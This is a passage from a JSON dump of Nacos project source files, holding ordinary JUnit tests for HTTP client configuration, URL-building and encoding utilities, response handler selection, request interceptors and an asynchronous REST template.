HttpClientConfig.builder().setConnectionTimeToLive(4000, TimeUnit.SECONDS).build();\n        assertEquals(TimeUnit.SECONDS, config.getConnTimeToLiveTimeUnit());\n    }\n    \n    @Test\n    void testGetConnectionRequestTimeout() {\n        HttpClientConfig config = HttpClientConfig.builder().setConnectionRequestTimeout(5000).build();\n        assertEquals(5000, config.getConnectionRequestTimeout());\n    }\n    \n    @Test\n    void testGetMaxRedirects() {\n        HttpClientConfig config = HttpClientConfig.builder().setMaxRedirects(60).build();\n        assertEquals(60, config.getMaxRedirects());\n    }\n    \n    @Test\n    void testGetMaxConnTotal() {\n        HttpClientConfig config = HttpClientConfig.builder().setMaxConnTotal(70).build();\n        assertEquals(70, config.getMaxConnTotal());\n    }\n    \n    @Test\n    void testGetMaxConnPerRoute() {\n        HttpClientConfig config = HttpClientConfig.builder().setMaxConnPerRoute(80).build();\n        assertEquals(80, config.getMaxConnPerRoute());\n    }\n    \n    @Test\n    void testGetContentCompressionEnabled() {\n        HttpClientConfig config = HttpClientConfig.builder().setContentCompressionEnabled(false).build();\n        assertFalse(config.getContentCompressionEnabled());\n    }\n    \n    @Test\n    void testGetIoThreadCount() {\n        HttpClientConfig config = HttpClientConfig.builder().setIoThreadCount(90).build();\n        assertEquals(90, config.getIoThreadCount());\n    }\n    \n    @Test\n    void testGetUserAgent() {\n        HttpClientConfig config = HttpClientConfig.builder().setUserAgent(\"testUserAgent\").build();\n        assertEquals(\"testUserAgent\", config.getUserAgent());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/HttpRestResultTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.common.http.param.Header;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass HttpRestResultTest {\n    \n    @Test\n    void testSetHeader() {\n        HttpRestResult<String> result = new HttpRestResult<>();\n        result.setData(\"test data\");\n        Header header = Header.newInstance();\n        result.setHeader(header);\n        assertEquals(header, result.getHeader());\n        assertEquals(\"test data\", result.getData());\n    }\n    \n    @Test\n    void testFullConstructor() {\n        Header header = Header.newInstance();\n        HttpRestResult<String> result = new HttpRestResult<>(header, 200, \"test data\", \"message\");\n        assertEquals(header, result.getHeader());\n        assertEquals(\"test data\", result.getData());\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/HttpUtilsTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.utils.VersionUtils;\nimport org.apache.hc.client5.http.ConnectTimeoutException;\nimport org.apache.hc.client5.http.classic.methods.HttpDelete;\nimport org.apache.hc.client5.http.classic.methods.HttpUriRequestBase;\nimport org.apache.hc.core5.http.HttpEntity;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.io.InputStream;\nimport java.io.UnsupportedEncodingException;\nimport java.net.SocketTimeoutException;\nimport java.net.URI;\nimport java.net.URISyntaxException;\nimport java.nio.charset.StandardCharsets;\nimport java.util.Collections;\nimport java.util.LinkedHashMap;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.TimeoutException;\n\nimport static org.junit.jupiter.api.Assertions.assertArrayEquals;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertThrows;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.mock;\n\n@ExtendWith(MockitoExtension.class)\nclass HttpUtilsTest {\n    \n    String exceptUrl = \"http://127.0.0.1:8080/v1/api/test\";\n    \n    @Test\n    void testBuildHttpUrl1() {\n        String targetUrl = HttpUtils.buildUrl(false, \"127.0.0.1:8080\", \"/v1/api/test\");\n        assertEquals(exceptUrl, targetUrl);\n        targetUrl = HttpUtils.buildUrl(false, \"127.0.0.1:8080\", \"v1/api/test\");\n        assertEquals(exceptUrl, targetUrl);\n        targetUrl = HttpUtils.buildUrl(false, \"127.0.0.1:8080\", \"/v1\", \"/api/test\");\n        assertEquals(exceptUrl, targetUrl);\n        targetUrl = HttpUtils.buildUrl(false, \"127.0.0.1:8080\", \"/v1\", \"/api\", \"/test\");\n        assertEquals(exceptUrl, targetUrl);\n        targetUrl = HttpUtils.buildUrl(false, \"127.0.0.1:8080\", \"/v1\", \"/api/\", \"/test\");\n        assertEquals(exceptUrl, targetUrl);\n        targetUrl = HttpUtils.buildUrl(false, \"127.0.0.1:8080\", \"/v1\", \"\", \"/api/\", \"/test\");\n        assertEquals(exceptUrl, targetUrl);\n        targetUrl = HttpUtils.buildUrl(false, \"127.0.0.1:8080\", \"/v1\", \"\", null, \"/api/\", \"/test\");\n        assertEquals(exceptUrl, targetUrl);\n        targetUrl = HttpUtils.buildUrl(false, \"127.0.0.1:8080\", \"/v1\", \"/api/\", \"test\");\n        assertEquals(exceptUrl, targetUrl);\n        targetUrl = HttpUtils.buildUrl(true, \"127.0.0.1:8080\", \"/v1\", \"\", null, \"/api/\", \"/test\");\n        assertEquals(\"https://127.0.0.1:8080/v1/api/test\", targetUrl);\n    }\n    \n    @Test\n    void testBuildHttpUrl2() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String targetUrl = HttpUtils.buildUrl(false, \"127.0.0.1:8080\", \"//v1/api/test\");\n            assertNotEquals(exceptUrl, targetUrl);\n        });\n    }\n    \n    @Test\n    void testBuildHttpUrl3() {\n        assertThrows(IllegalArgumentException.class, () -> {\n            String targetUrl = HttpUtils.buildUrl(false, \"127.0.0.1:8080\", \"/v1\", \"/api//\", \"test\");\n            assertNotEquals(exceptUrl, targetUrl);\n        });\n    }\n    \n    @Test\n    void testInitRequestHeader() {\n        BaseHttpMethod.HttpGetWithEntity httpRequest = new BaseHttpMethod.HttpGetWithEntity(\"\");\n        Header header = Header.newInstance();\n        header.addParam(\"k\", \"v\");\n        \n        HttpUtils.initRequestHeader(httpRequest, header);\n        \n        org.apache.hc.core5.http.Header[] headers = httpRequest.getHeaders(\"k\");\n        assertEquals(1, headers.length);\n        assertEquals(\"k\", headers[0].getName());\n        assertEquals(\"v\", headers[0].getValue());\n    }\n    \n    @Test\n    void testInitRequestEntity1() throws Exception {\n        BaseHttpMethod.HttpGetWithEntity httpRequest = new BaseHttpMethod.HttpGetWithEntity(\"\");\n        Header header = Header.newInstance();\n        header.addParam(HttpHeaderConsts.CONTENT_TYPE, \"text/html\");\n        \n        HttpUtils.initRequestEntity(httpRequest, new byte[] {0, 1, 0, 1}, header);\n        \n        HttpEntity entity = httpRequest.getEntity();\n        InputStream contentStream = entity.getContent();\n        byte[] bytes = new byte[contentStream.available()];\n        contentStream.read(bytes);\n        assertArrayEquals(new byte[] {0, 1, 0, 1}, bytes);\n        assertEquals(\"text/html; charset=UTF-8\", entity.getContentType());\n    }\n    \n    @Test\n    void testInitRequestEntity2() throws Exception {\n        BaseHttpMethod.HttpGetWithEntity httpRequest = new BaseHttpMethod.HttpGetWithEntity(\"\");\n        Header header = Header.newInstance();\n        header.addParam(HttpHeaderConsts.CONTENT_TYPE, \"text/html\");\n        \n        HttpUtils.initRequestEntity(httpRequest, Collections.singletonMap(\"k\", \"v\"), header);\n        \n        HttpEntity entity = httpRequest.getEntity();\n        InputStream contentStream = entity.getContent();\n        byte[] bytes = new byte[contentStream.available()];\n        contentStream.read(bytes);\n        assertEquals(\"{\\\"k\\\":\\\"v\\\"}\", new String(bytes, Constants.ENCODE));\n        assertEquals(\"text/html; charset=UTF-8\", entity.getContentType());\n    }\n    \n    @Test\n    void testInitRequestEntity3() throws Exception {\n        BaseHttpMethod.HttpGetWithEntity httpRequest = new BaseHttpMethod.HttpGetWithEntity(\"\");\n        Header header = Header.newInstance();\n        header.addParam(HttpHeaderConsts.CONTENT_TYPE, \"text/html\");\n        \n        HttpUtils.initRequestEntity(httpRequest, \"common text\", header);\n        \n        HttpEntity entity = httpRequest.getEntity();\n        InputStream contentStream = entity.getContent();\n        byte[] bytes = new byte[contentStream.available()];\n        contentStream.read(bytes);\n        assertEquals(\"common text\", new String(bytes, Constants.ENCODE));\n        assertEquals(\"text/html; charset=UTF-8\", entity.getContentType());\n    }\n    \n    @Test\n    void testInitRequestEntity4() throws Exception {\n        BaseHttpMethod.HttpGetWithEntity httpRequest = new BaseHttpMethod.HttpGetWithEntity(\"\");\n        \n        HttpUtils.initRequestEntity(httpRequest, null, null);\n        \n        // nothing change\n        assertEquals(new BaseHttpMethod.HttpGetWithEntity(\"\").getEntity(), httpRequest.getEntity());\n        // assertArrayEquals(new BaseHttpMethod.HttpGetWithEntity(\"\").getAllHeaders(), httpRequest.getAllHeaders());\n    }\n    \n    @Test\n    void testInitRequestEntity5() throws Exception {\n        HttpDelete httpDelete = new HttpDelete(\"\");\n        \n        HttpUtils.initRequestEntity(httpDelete, null, null);\n        \n        // nothing change\n        assertEquals(new HttpDelete(\"\").getMethod(), httpDelete.getMethod());\n        // assertArrayEquals(new HttpDelete(\"\").getAllHeaders(), httpDelete.getAllHeaders());\n    }\n    \n    @Test\n    void testInitRequestFromEntity1() throws Exception {\n        BaseHttpMethod.HttpGetWithEntity httpRequest = new BaseHttpMethod.HttpGetWithEntity(\"\");\n        \n        HttpUtils.initRequestFromEntity(httpRequest, Collections.singletonMap(\"k\", \"v\"), \"UTF-8\");\n        \n        HttpEntity entity = httpRequest.getEntity();\n        InputStream contentStream = entity.getContent();\n        byte[] bytes = new byte[contentStream.available()];\n        contentStream.read(bytes);\n        assertEquals(\"k=v\", new String(bytes, StandardCharsets.UTF_8));\n    }\n    \n    @Test\n    void testInitRequestFromEntity2() throws Exception {\n        BaseHttpMethod.HttpGetWithEntity httpRequest = new BaseHttpMethod.HttpGetWithEntity(\"\");\n        \n        HttpUtils.initRequestFromEntity(httpRequest, null, \"UTF-8\");\n        \n        // nothing change\n        assertEquals(new BaseHttpMethod.HttpGetWithEntity(\"\").getEntity(), httpRequest.getEntity());\n    }\n    \n    @Test\n    void testInitRequestFromEntity3() throws Exception {\n        BaseHttpMethod.HttpGetWithEntity httpRequest = new BaseHttpMethod.HttpGetWithEntity(\"\");\n        \n        HttpUtils.initRequestFromEntity(httpRequest, Collections.emptyMap(), \"UTF-8\");\n        \n        // nothing change\n        assertEquals(new BaseHttpMethod.HttpGetWithEntity(\"\").getEntity(), httpRequest.getEntity());\n    }\n    \n    @Test\n    void testInitRequestFromEntity4() throws Exception {\n        BaseHttpMethod.HttpGetWithEntity httpRequest = new BaseHttpMethod.HttpGetWithEntity(\"\");\n        \n        HttpUtils.initRequestFromEntity(mock(HttpUriRequestBase.class), Collections.emptyMap(), \"UTF-8\");\n        \n        // nothing change\n        assertEquals(new BaseHttpMethod.HttpGetWithEntity(\"\").getEntity(), httpRequest.getEntity());\n    }\n    \n    @Test\n    void testInitRequestFromEntity5() throws Exception {\n        HttpDelete httpDelete = new HttpDelete(\"\");\n        \n        HttpUtils.initRequestFromEntity(httpDelete, Collections.singletonMap(\"k\", \"v\"), \"UTF-8\");\n        \n        // nothing change\n        assertEquals(new HttpDelete(\"\").getMethod(), httpDelete.getMethod());\n        assertArrayEquals(new HttpDelete(\"\").getHeaders(), httpDelete.getHeaders());\n    }\n    \n    @Test\n    void testTranslateParameterMap() throws Exception {\n        Map<String, String[]> map = Collections.singletonMap(\"K\", new String[] {\"V1\", \"V2\"});\n        Map<String, String> resultMap = HttpUtils.translateParameterMap(map);\n        assertEquals(Collections.singletonMap(\"K\", \"V1\"), resultMap);\n    }\n    \n    @Test\n    void testDecode() throws UnsupportedEncodingException {\n        // % - %25, { - %7B, } - %7D\n        assertEquals(\"{k,v}\", HttpUtils.decode(\"%7Bk,v%7D\", \"UTF-8\"));\n        assertEquals(\"{k,v}\", HttpUtils.decode(\"%257Bk,v%257D\", \"UTF-8\"));\n    }\n    \n    @Test\n    void testEncodingParamsMapWithNullOrEmpty() throws UnsupportedEncodingException {\n        assertNull(HttpUtils.encodingParams((Map<String, String>) null, \"UTF-8\"));\n        assertNull(HttpUtils.encodingParams(Collections.emptyMap(), \"UTF-8\"));\n    }\n    \n    @Test\n    void testEncodingParamsMap() throws UnsupportedEncodingException {\n        Map<String, String> params = new LinkedHashMap<>();\n        params.put(\"a\", \"\");\n        params.put(\"b\", \"x\");\n        params.put(\"uriChar\", \"=\");\n        params.put(\"chinese\", \"测试\");\n        assertEquals(\"b=x&uriChar=%3D&chinese=%E6%B5%8B%E8%AF%95&\", HttpUtils.encodingParams(params, \"UTF-8\"));\n    }\n    \n    @Test\n    void testEncodingParamsListWithNull() throws UnsupportedEncodingException {\n        assertNull(HttpUtils.encodingParams((List<String>) null, \"UTF-8\"));\n    }\n    \n    @Test\n    void testEncodingParamsList() throws UnsupportedEncodingException {\n        List<String> params = new LinkedList<>();\n        params.add(\"a\");\n        params.add(\"\");\n        params.add(\"b\");\n        params.add(\"x\");\n        params.add(\"uriChar\");\n        params.add(\"=\");\n        params.add(\"chinese\");\n        params.add(\"测试\");\n        assertEquals(\"a=&b=x&uriChar=%3D&chinese=%E6%B5%8B%E8%AF%95\", HttpUtils.encodingParams(params, \"UTF-8\"));\n    }\n    \n    @Test\n    void testBuildUriForEmptyQuery() throws URISyntaxException {\n        URI actual = HttpUtils.buildUri(\"www.aliyun.com\", null);\n        assertEquals(\"www.aliyun.com\", actual.toString());\n        actual = HttpUtils.buildUri(\"www.aliyun.com\", new Query());\n        assertEquals(\"www.aliyun.com\", actual.toString());\n    }\n    \n    @Test\n    void testBuildUri() throws URISyntaxException {\n        Query query = new Query();\n        query.addParam(\"a\", \"\");\n        query.addParam(\"b\", \"x\");\n        query.addParam(\"uriChar\", \"=\");\n        query.addParam(\"chinese\", \"测试\");\n        URI actual = HttpUtils.buildUri(\"www.aliyun.com\", query);\n        assertEquals(\"www.aliyun.com?\" + query.toQueryUrl(), actual.toString());\n    }\n    \n    @Test\n    void testIsTimeoutException() {\n        assertFalse(HttpUtils.isTimeoutException(new NacosRuntimeException(0)));\n        assertTrue(HttpUtils.isTimeoutException(new TimeoutException()));\n        assertTrue(HttpUtils.isTimeoutException(new SocketTimeoutException()));\n        assertTrue(HttpUtils.isTimeoutException(new ConnectTimeoutException(\"\")));\n        assertTrue(HttpUtils.isTimeoutException(new NacosRuntimeException(0, new TimeoutException())));\n    }\n    \n    @Test\n    void testBuilderHeader() {\n        Header header = HttpUtils.builderHeader(\"Test\");\n        assertNotNull(header);\n        assertEquals(header.getValue(HttpHeaderConsts.CLIENT_VERSION_HEADER), VersionUtils.version);\n        assertEquals(header.getValue(HttpHeaderConsts.USER_AGENT_HEADER), VersionUtils.getFullClientVersion());\n        assertEquals(\"gzip,deflate,sdch\", header.getValue(HttpHeaderConsts.ACCEPT_ENCODING));\n        assertEquals(\"Keep-Alive\", header.getValue(HttpHeaderConsts.CONNECTION));\n        assertNotNull(header.getValue(HttpHeaderConsts.REQUEST_ID));\n        assertEquals(\"Test\", header.getValue(HttpHeaderConsts.REQUEST_MODULE));\n    }\n}\n"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/client/AbstractNacosRestTemplateTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client;\n\nimport com.alibaba.nacos.common.http.client.handler.BeanResponseHandler;\nimport com.alibaba.nacos.common.http.client.handler.ResponseHandler;\nimport com.alibaba.nacos.common.http.client.handler.RestResultResponseHandler;\nimport com.alibaba.nacos.common.http.client.handler.StringResponseHandler;\nimport com.alibaba.nacos.common.model.RestResult;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.slf4j.Logger;\n\nimport java.lang.reflect.Type;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n@ExtendWith(MockitoExtension.class)\nclass AbstractNacosRestTemplateTest {\n    \n    MockNacosRestTemplate restTemplate;\n    \n    @Mock\n    private ResponseHandler mockResponseHandler;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        restTemplate = new MockNacosRestTemplate(null);\n        restTemplate.registerResponseHandler(MockNacosRestTemplate.class.getName(), mockResponseHandler);\n    }\n    \n    @Test\n    void testSelectResponseHandlerForNull() {\n        assertTrue(restTemplate.testFindResponseHandler(null) instanceof StringResponseHandler);\n    }\n    \n    @Test\n    void testSelectResponseHandlerForRestResult() {\n        assertTrue(restTemplate.testFindResponseHandler(RestResult.class) instanceof RestResultResponseHandler);\n    }\n    \n    @Test\n    void testSelectResponseHandlerForDefault() {\n        assertTrue(restTemplate.testFindResponseHandler(AbstractNacosRestTemplateTest.class) instanceof BeanResponseHandler);\n    }\n    \n    @Test\n    void testSelectResponseHandlerForCustom() {\n        assertEquals(mockResponseHandler, restTemplate.testFindResponseHandler(MockNacosRestTemplate.class));\n    }\n    \n    private static class MockNacosRestTemplate extends AbstractNacosRestTemplate {\n        \n        public MockNacosRestTemplate(Logger logger) {\n            super(logger);\n        }\n        \n        private ResponseHandler testFindResponseHandler(Type responseType) {\n            return super.selectResponseHandler(responseType);\n        }\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/client/InterceptingHttpClientRequestTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client;\n\nimport com.alibaba.nacos.common.http.client.request.HttpClientRequest;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.Query;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.net.URI;\nimport java.util.LinkedList;\nimport java.util.List;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass InterceptingHttpClientRequestTest {\n    \n    InterceptingHttpClientRequest clientRequest;\n    \n    @Mock\n    private HttpClientRequest httpClientRequest;\n    \n    @Mock\n    private HttpClientRequestInterceptor interceptor;\n    \n    @Mock\n    private HttpClientResponse interceptorResponse;\n    \n    @Mock\n    private HttpClientResponse httpClientResponse;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        List<HttpClientRequestInterceptor> interceptorList = new LinkedList<>();\n        interceptorList.add(interceptor);\n        clientRequest = new InterceptingHttpClientRequest(httpClientRequest, interceptorList.listIterator());\n        when(interceptor.intercept()).thenReturn(interceptorResponse);\n        when(httpClientRequest.execute(any(), any(), any())).thenReturn(httpClientResponse);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        clientRequest.close();\n    }\n    \n    @Test\n    void testExecuteIntercepted() throws Exception {\n        when(interceptor.isIntercept(any(), any(), any())).thenReturn(true);\n        HttpClientResponse response = clientRequest.execute(URI.create(\"http://example.com\"), \"GET\",\n                new RequestHttpEntity(Header.EMPTY, Query.EMPTY));\n        assertEquals(interceptorResponse, response);\n    }\n    \n    @Test\n    void testExecuteNotIntercepted() throws Exception {\n        HttpClientResponse response = clientRequest.execute(URI.create(\"http://example.com\"), \"GET\",\n                new RequestHttpEntity(Header.EMPTY, Query.EMPTY));\n        assertEquals(httpClientResponse, response);\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/client/NacosAsyncRestTemplateTest.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.http.client;\n\nimport com.alibaba.nacos.common.constant.HttpHeaderConsts;\nimport com.alibaba.nacos.common.http.Callback;\nimport com.alibaba.nacos.common.http.client.request.AsyncHttpClientRequest;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.http.param.MediaType;\nimport com.alibaba.nacos.common.http.param.Query;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.slf4j.Logger;\n\nimport java.util.HashMap;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doThrow;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass NacosAsyncRestTemplateTest {\n    \n    private static final String TEST_URL = \"http://127.0.0.1:8848/nacos/test\";\n    \n    @Mock\n    private AsyncHttpClientRequest requestClient;\n    \n    @Mock\n    private Logger logger;\n    \n    @Mock\n    private Callback<String> mockCallback;\n    \n    private NacosAsyncRestTemplate restTemplate;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        restTemplate = new NacosAsyncRestTemplate(logger, requestClient);\n        when(logger.isDebugEnabled()).thenReturn(true);\n    }\n    \n    @AfterEach\n    void tearDown() throws Exception {\n        restTemplate.close();\n    }\n    \n    @Test\n    void testGet() throws Exception {\n        restTemplate.get(TEST_URL, Header.EMPTY, Query.EMPTY, String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"GET\"), any(), any(), eq(mockCallback));\n    }\n    \n    @Test\n    void testGetWithException() throws Exception {\n        doThrow(new RuntimeException(\"test\")).when(requestClient).execute(any(), any(), any(), any(), any());\n        restTemplate.get(TEST_URL, Header.EMPTY, Query.EMPTY, String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"GET\"), any(), any(), eq(mockCallback));\n        verify(mockCallback).onError(any(RuntimeException.class));\n    }\n    \n    @Test\n    void testGetLarge() throws Exception {\n        restTemplate.getLarge(TEST_URL, Header.EMPTY, Query.EMPTY, new Object(), String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"GET-LARGE\"), any(), any(), eq(mockCallback));\n    }\n    \n    @Test\n    void testDeleteWithBody() throws Exception {\n        restTemplate.delete(TEST_URL, Header.EMPTY, Query.EMPTY, String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"DELETE\"), any(), any(), eq(mockCallback));\n    }\n    \n    @Test\n    void testDeleteLarge() throws Exception {\n        restTemplate.delete(TEST_URL, Header.EMPTY, \"body\", String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"DELETE_LARGE\"), any(), any(), eq(mockCallback));\n    }\n    \n    @Test\n    void testPut() throws Exception {\n        restTemplate.put(TEST_URL, Header.EMPTY, Query.EMPTY, \"body\", String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"PUT\"), any(), any(), eq(mockCallback));\n    }\n    \n    @Test\n    void testPutJson() throws Exception {\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        restTemplate.putJson(TEST_URL, header, \"body\", String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"PUT\"), any(), any(), eq(mockCallback));\n        assertEquals(MediaType.APPLICATION_JSON, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPutJsonWithQuery() throws Exception {\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        restTemplate.putJson(TEST_URL, header, Query.EMPTY, \"body\", String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"PUT\"), any(), any(), eq(mockCallback));\n        assertEquals(MediaType.APPLICATION_JSON, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPutForm() throws Exception {\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        restTemplate.putForm(TEST_URL, header, new HashMap<>(), String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"PUT\"), any(), any(), eq(mockCallback));\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPutFormWithQuery() throws Exception {\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        restTemplate.putForm(TEST_URL, header, Query.EMPTY, new HashMap<>(), String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"PUT\"), any(), any(), eq(mockCallback));\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPost() throws Exception {\n        restTemplate.post(TEST_URL, Header.EMPTY, Query.EMPTY, \"body\", String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"POST\"), any(), any(), eq(mockCallback));\n    }\n    \n    @Test\n    void testPostJson() throws Exception {\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        restTemplate.postJson(TEST_URL, header, \"body\", String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"POST\"), any(), any(), eq(mockCallback));\n        assertEquals(MediaType.APPLICATION_JSON, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPostJsonWithQuery() throws Exception {\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        restTemplate.postJson(TEST_URL, header, Query.EMPTY, \"body\", String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"POST\"), any(), any(), eq(mockCallback));\n        assertEquals(MediaType.APPLICATION_JSON, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPostForm() throws Exception {\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        restTemplate.postForm(TEST_URL, header, new HashMap<>(), String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"POST\"), any(), any(), eq(mockCallback));\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n    \n    @Test\n    void testPostFormWithQuery() throws Exception {\n        Header header = Header.newInstance().setContentType(MediaType.APPLICATION_XML);\n        restTemplate.postForm(TEST_URL, header, Query.EMPTY, new HashMap<>(), String.class, mockCallback);\n        verify(requestClient).execute(any(), eq(\"POST\"), any(), any(), eq(mockCallback));\n        assertEquals(MediaType.APPLICATION_FORM_URLENCODED, header.getValue(HttpHeaderConsts.CONTENT_TYPE));\n    }\n}"
  },
  {
    "path": "common/src/test/java/com/alibaba/nacos/common/http/client/NacosRestTemplateTest.java",
